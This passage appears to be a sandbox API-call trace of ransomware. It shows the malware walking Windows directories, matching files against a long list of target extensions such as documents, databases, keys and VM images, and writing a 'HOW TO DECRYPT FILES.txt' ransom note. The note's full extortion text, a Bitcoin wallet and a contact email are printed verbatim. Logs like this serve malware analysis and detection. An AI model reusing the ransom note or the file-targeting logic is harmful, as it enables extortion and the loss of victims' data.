(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.mp4") returned 0 [0104.723] lstrlenA (lpString="*.mp4") returned 5 [0104.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.ppt") returned 0 [0104.723] lstrlenA (lpString="*.ppt") returned 5 [0104.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.pptx") returned 0 [0104.723] lstrlenA (lpString="*.pptx") returned 6 [0104.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.doc") returned 0 [0104.723] lstrlenA (lpString="*.doc") returned 5 [0104.723] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.dot") returned 0 [0104.724] lstrlenA (lpString="*.dot") returned 5 [0104.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.docx") returned 0 [0104.724] lstrlenA (lpString="*.docx") returned 6 [0104.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.7z") returned 0 [0104.724] lstrlenA (lpString="*.7z") returned 4 [0104.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.tar") returned 0 [0104.724] lstrlenA (lpString="*.tar") returned 5 [0104.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.bz2") returned 0 [0104.724] lstrlenA (lpString="*.bz2") returned 5 [0104.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.gz") returned 0 [0104.724] lstrlenA (lpString="*.gz") returned 4 [0104.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.mkv") returned 0 [0104.724] lstrlenA (lpString="*.mkv") returned 5 [0104.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.eml") returned 0 [0104.724] lstrlenA (lpString="*.eml") returned 5 [0104.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.msg") returned 0 [0104.724] lstrlenA (lpString="*.msg") returned 5 [0104.724] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.edb") returned 0 [0104.724] lstrlenA (lpString="*.edb") returned 5 [0104.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.accdb") returned 0 [0104.725] lstrlenA (lpString="*.accdb") returned 7 [0104.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.odb") returned 0 [0104.725] lstrlenA (lpString="*.odb") returned 5 [0104.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.java") returned 0 [0104.725] lstrlenA (lpString="*.java") returned 6 [0104.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.asm") returned 0 [0104.725] lstrlenA (lpString="*.asm") returned 5 [0104.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.pfx") returned 0 [0104.725] lstrlenA (lpString="*.pfx") returned 5 [0104.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.pem") returned 0 [0104.725] lstrlenA (lpString="*.pem") returned 5 [0104.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.p12") returned 0 [0104.725] lstrlenA (lpString="*.p12") returned 5 [0104.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.gpg") returned 0 [0104.725] lstrlenA (lpString="*.gpg") returned 5 [0104.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.vsd") returned 0 [0104.725] lstrlenA (lpString="*.vsd") returned 5 [0104.725] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.odg") returned 0 [0104.726] lstrlenA (lpString="*.odg") returned 5 [0104.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.raw") returned 0 [0104.726] lstrlenA (lpString="*.raw") returned 5 [0104.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.nef") returned 0 [0104.726] lstrlenA (lpString="*.nef") returned 5 [0104.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.svg") returned 0 [0104.726] lstrlenA (lpString="*.svg") returned 5 [0104.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.psd") returned 0 [0104.726] lstrlenA (lpString="*.psd") returned 5 [0104.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.vmx") returned 0 [0104.726] lstrlenA (lpString="*.vmx") returned 5 [0104.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.vmdk") returned 0 [0104.726] lstrlenA (lpString="*.vmdk") returned 6 [0104.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.vdi") returned 0 [0104.726] lstrlenA (lpString="*.vdi") returned 5 [0104.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.lay6") returned 0 [0104.726] lstrlenA (lpString="*.lay6") returned 6 [0104.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.mpeg") returned 0 [0104.726] lstrlenA (lpString="*.mpeg") returned 6 [0104.726] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.djvu") returned 0 [0104.726] lstrlenA (lpString="*.djvu") returned 6 [0104.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.tiff") returned 0 [0104.727] lstrlenA (lpString="*.tiff") returned 6 [0104.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.backup") returned 0 [0104.727] lstrlenA (lpString="*.backup") returned 8 [0104.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.pdf") returned 0 [0104.727] lstrlenA (lpString="*.pdf") returned 5 [0104.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.cert") returned 0 [0104.727] lstrlenA (lpString="*.cert") returned 6 [0104.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.docm") returned 0 [0104.727] lstrlenA (lpString="*.docm") returned 6 [0104.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.xlsm") returned 0 [0104.727] lstrlenA (lpString="*.xlsm") returned 6 [0104.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.dwg") returned 0 [0104.727] lstrlenA (lpString="*.dwg") returned 5 [0104.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.nd") returned 0 [0104.727] lstrlenA (lpString="*.nd") returned 4 [0104.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.tlg") returned 0 [0104.727] lstrlenA (lpString="*.tlg") returned 5 [0104.727] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.lgb") returned 0 [0104.728] lstrlenA (lpString="*.lgb") returned 5 [0104.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.mov") returned 0 [0104.728] lstrlenA (lpString="*.mov") returned 5 [0104.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.xdw") returned 0 [0104.728] lstrlenA (lpString="*.xdw") returned 5 [0104.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.ods") returned 0 [0104.728] lstrlenA (lpString="*.ods") returned 5 [0104.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.wav") returned 0 [0104.728] lstrlenA (lpString="*.wav") returned 5 [0104.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.mp3") returned 0 [0104.728] lstrlenA (lpString="*.mp3") returned 5 [0104.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.aiff") returned 0 [0104.728] lstrlenA (lpString="*.aiff") returned 6 [0104.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.flac") returned 0 [0104.728] lstrlenA (lpString="*.flac") returned 6 [0104.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.m4a") returned 0 [0104.728] lstrlenA (lpString="*.m4a") returned 5 [0104.728] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\sysglobl\\8abe9d895b3e9efe741b9162cb9206fc\\sysglobl.ni.dll", pszSpec="*.csv") returned 0 [0104.728] lstrlenA (lpString="*.csv") returned 5 [0104.728] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b32bd16, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b32bd16, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b32bd16, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x38c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="sysglobl.ni.dll", cAlternateFileName="SYSGLO~1.DLL")) returned 0 [0104.729] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.729] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b377fd6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8b377fd6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8b377fd6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8abe9d895b3e9efe741b9162cb9206fc", cAlternateFileName="8ABE9D~1")) returned 0 [0104.729] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.729] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf139ce7b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf139ce7b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf139ce7b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790073, dwReserved1=0x670073, cFileName="System", cAlternateFileName="")) returned 1 [0104.729] lstrcmpA (lpString1=".", lpString2="System") returned -1 [0104.729] lstrcmpA (lpString1="..", lpString2="System") returned -1 [0104.729] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.729] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System" [0104.729] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System") returned 53 [0104.729] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf139ce7b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf139ce7b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf139ce7b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.730] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.730] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf139ce7b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf139ce7b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf139ce7b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.730] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.730] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.730] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf139ce7b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf139ce7b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf139ce7b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9e0a3b9b9f457233a335d7fba8f95419", cAlternateFileName="9E0A3B~1")) returned 1 [0104.730] lstrcmpA (lpString1=".", lpString2="9e0a3b9b9f457233a335d7fba8f95419") returned -1 [0104.730] lstrcmpA (lpString1="..", lpString2="9e0a3b9b9f457233a335d7fba8f95419") returned -1 [0104.730] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\*.*") returned="*.*" [0104.730] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\", lpString2="9e0a3b9b9f457233a335d7fba8f95419" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419" [0104.730] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419") returned 86 [0104.730] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf139ce7b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf139ce7b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf139ce7b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.731] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.731] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf139ce7b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf139ce7b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf139ce7b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.731] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.731] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.731] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf10c9456, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf10c9456, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf1246219, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x798200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0104.731] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.731] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ni.dll") returned -1 [0104.731] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ni.dll") returned -1 [0104.731] lstrcmpiA (lpString1="", lpString2="System.ni.dll") returned -1 [0104.731] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\*.*") returned="*.*" [0104.731] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\" [0104.731] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\") returned="" [0104.731] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\HOW TO DECRYPT FILES.txt" [0104.731] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\how to decrypt files.txt")) returned 0xffffffff [0104.731] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.732] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.732] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.737] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.737] CloseHandle (hObject=0x90) returned 1 [0104.737] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\", lpString2="System.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" [0104.767] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.ems") returned 0 [0104.768] lstrlenA (lpString="*.ems") returned 5 [0104.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.db") returned 0 [0104.768] lstrlenA (lpString="*.db") returned 4 [0104.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.dbf") returned 0 [0104.768] lstrlenA (lpString="*.dbf") returned 5 [0104.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.myox") returned 0 [0104.768] lstrlenA (lpString="*.myox") returned 6 [0104.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.myo") returned 0 [0104.768] lstrlenA (lpString="*.myo") returned 5 [0104.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.qbw") returned 0 [0104.768] lstrlenA (lpString="*.qbw") returned 5 [0104.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.qbb") returned 0 [0104.768] lstrlenA (lpString="*.qbb") returned 5 [0104.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.qbm") returned 0 [0104.768] lstrlenA (lpString="*.qbm") returned 5 [0104.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.qbo") returned 0 [0104.768] lstrlenA (lpString="*.qbo") returned 5 [0104.768] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll", pszSpec="*.qbx") returned 0 [0104.768] 